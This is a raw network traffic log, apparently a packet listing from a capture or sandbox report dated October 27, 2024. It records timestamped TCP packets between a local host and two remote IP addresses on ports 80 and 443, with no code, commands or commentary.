Oct 27, 2024 17:54:44.736641884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736645937 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736656904 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736668110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736668110 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736680031 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736685038 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736692905 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736702919 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736730099 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.736881018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736891031 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.736922026 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.737140894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737159014 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737170935 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737196922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.737226009 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737226009 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.737267017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737284899 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737296104 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737302065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737310886 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.737313986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737328053 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737329006 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.737339020 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737350941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737363100 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.737380981 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.737858057 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737890005 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737900972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737909079 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.737926006 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737930059 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.737938881 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.737962961 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.737988949 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.737996101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738007069 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738018036 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738029003 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738046885 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738048077 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738058090 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738059044 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738070011 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738080025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738101006 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738112926 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738118887 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738122940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738133907 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738148928 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738157034 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738168955 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738178968 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738179922 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738220930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738220930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738239050 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738250971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738296032 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738313913 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738325119 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738334894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738348961 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738356113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738367081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738368034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738378048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738394022 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738410950 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738475084 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738490105 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738501072 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738509893 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738512993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738527060 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738538980 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738543987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738559008 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738564968 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738571882 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738581896 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738584042 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738595963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738611937 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738612890 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738626957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738637924 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738639116 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738650084 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738662004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738673925 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738693953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738694906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738718033 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738739014 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738753080 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738764048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738775969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738799095 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738811016 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738817930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738827944 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738842964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738852024 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738856077 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738867998 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738882065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738884926 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738884926 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738907099 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738917112 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738929033 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738938093 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738970995 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.738972902 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.738985062 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739008904 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739037037 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739108086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739120007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739130020 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739140987 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739151955 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739152908 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739164114 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739176035 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739183903 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739200115 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739202023 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739212990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739219904 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739223957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739237070 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739248037 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739276886 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739341021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739414930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739729881 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739749908 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739761114 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739774942 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739774942 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739789009 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739793062 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739804983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739805937 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739818096 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739829063 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739830971 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739841938 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739854097 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739856005 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739865065 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739917040 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739922047 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739933968 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739939928 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739954948 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739960909 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739974022 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.739980936 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.739998102 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740012884 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740309954 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740320921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740331888 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740358114 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740371943 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740375042 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740384102 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740395069 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740403891 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740412951 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740427017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740432024 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740437984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740448952 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740458012 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740484953 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740499973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740514040 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740524054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740535021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740536928 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740547895 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740559101 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740573883 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740586042 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740601063 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740652084 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740668058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740679026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740689993 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740701914 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740703106 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740714073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740725994 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740731955 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740739107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740751028 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740753889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740767002 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740777969 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740777969 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740807056 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740808010 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740822077 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740832090 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.740853071 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.740871906 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.741822958 CET	443	49969	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.741863966 CET	443	49969	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.741908073 CET	49969	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.741918087 CET	443	49969	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.741934061 CET	443	49969	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.741971016 CET	49969	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.742381096 CET	49969	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.742391109 CET	443	49969	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.742402077 CET	49969	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.742408037 CET	443	49969	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.742695093 CET	443	49968	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.742788076 CET	443	49968	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.742963076 CET	49968	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.743120909 CET	49968	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.743122101 CET	49968	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.743150949 CET	443	49968	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.743172884 CET	443	49968	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.745527029 CET	49973	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.745572090 CET	443	49973	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.745609045 CET	49974	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.745640039 CET	443	49974	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.745646954 CET	49973	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.745682955 CET	49974	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.745784998 CET	49973	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.745798111 CET	443	49973	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.745855093 CET	49974	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.745867014 CET	443	49974	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.748215914 CET	443	49967	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.748294115 CET	443	49967	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.748389959 CET	49967	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.748441935 CET	49967	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.748452902 CET	443	49967	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.748464108 CET	49967	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.748470068 CET	443	49967	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.751153946 CET	49975	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.751169920 CET	443	49975	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.751228094 CET	49975	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.751358986 CET	49975	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.751368999 CET	443	49975	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.772011042 CET	443	49970	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.772083044 CET	443	49970	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.772146940 CET	49970	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.772268057 CET	49970	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.772285938 CET	443	49970	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.772315025 CET	49970	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.772326946 CET	443	49970	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.774377108 CET	49976	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.774403095 CET	443	49976	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.774468899 CET	49976	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.774780989 CET	49976	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.774790049 CET	443	49976	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.782460928 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.782502890 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.782762051 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.782874107 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.784687996 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.784698963 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.784709930 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.784750938 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.784769058 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.784780025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.784787893 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.784791946 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.784816027 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.784841061 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.793148994 CET	443	49971	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.793195009 CET	443	49971	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.793263912 CET	443	49971	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.793307066 CET	49971	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.793307066 CET	49971	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.793680906 CET	49971	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.793680906 CET	49971	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.793690920 CET	443	49971	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.793699026 CET	443	49971	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.797802925 CET	49977	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.797831059 CET	443	49977	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.797971964 CET	49977	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.798280954 CET	49977	443	192.168.2.5	13.107.246.45
Oct 27, 2024 17:54:44.798295975 CET	443	49977	13.107.246.45	192.168.2.5
Oct 27, 2024 17:54:44.830410004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.830457926 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.830485106 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.830496073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.830507040 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.830533981 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.830569983 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.855937004 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.855948925 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.855964899 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.855978012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.855988979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.855999947 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856005907 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856053114 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856127024 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856137991 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856153011 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856164932 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856172085 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856178045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856189013 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856189966 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856219053 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856245041 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856411934 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856446981 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856453896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856466055 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856486082 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856501102 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856575012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856594086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856605053 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856617928 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856632948 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856692076 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856714010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856724977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856735945 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856743097 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856746912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856760025 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.856760025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.856796026 CET	49853	80	192.168.2.5	185.215.113.206
